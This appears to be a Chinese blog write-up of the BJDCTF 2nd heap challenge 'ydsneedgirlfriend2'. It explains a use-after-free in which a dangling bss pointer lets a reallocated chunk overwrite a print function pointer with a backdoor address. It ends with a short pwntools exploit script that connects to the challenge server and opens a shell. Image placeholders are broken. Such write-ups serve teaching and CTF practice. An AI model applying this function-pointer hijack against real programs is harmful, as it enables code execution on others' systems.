[BJDCTF 2nd]ydsneedgirlfriend2的wp

这是一道堆题
add函数
![在这里插入图片描述](https://img-blog.csdnimg.cn/202102241926在这里插入图片描述

del函数

可以看到的就是,这里虽然把两个chunk的free掉了,但是bss段那个指向chunk00的指针并没有置为null,这里就有机会了
在这里插入图片描述
show函数
show函数实现的就是通过0x603018处存的print girlfriend name函数的地址,调用这个函数,输出chunk的内容。这里我们可以利用一下,如果能够把这个地址改成我们想要的地址,再调用show函数,就可以getshell了
在这里插入图片描述

这里看看bss段
在这里插入图片描述
0x603010处存放着chunk0的地址,0x603018处存放的是print girlfriend name函数的

地址,0x603020-0x603030处是chunk0的头部,0x603030处即为输入的"aaaa"

这个时候,这两个chunk其实都是处于free状态的,这两个chunk是通过单链表的结构来管理的,后free的chunk放在表头,由于chunk00是后free的,所以放在表头,0x603010处存放的数据从0x603030变成了0x603020,即指向chunk0的头部

当我们再次申请时,系统会寻找符合大小的chunk。而如果我们这时要一个0x20大小的chunk,它就会依次寻找,而表头chunk00正好是符合的,我们可以通过这一点控制0x603018处的函数指针

add函数只会进行一次malloc,我们就可以把0x603018处的指针修改为backdoor函数地址,然后执行show函数,通过bss段存放的指针,就可以实现执行backdoor函数了

from pwn import *
sh = remote('node3.buuoj.cn',28087)
def add(size,name):
    sh.sendline("1")
    sh.recvuntil('Please input the length of her name:\n')
    sh.sendline(str(size))
    sh.recvuntil('Please tell me her name:\n')
    sh.sendline(name)
    sh.recvuntil("u choice :\n")

def delete(index):
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil("u choice :\n")

def show(idx):
    sh.recvuntil('choice :\n')
    sh.sendline('3')
    sh.sendlineafter('Index :',str(idx))

sh.recvuntil("u choice :\n")
add(0x10,'0')
delete(0)
payload = p64(0) + p64(0x400d86)
add(0x10,payload)
show(0)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/114036579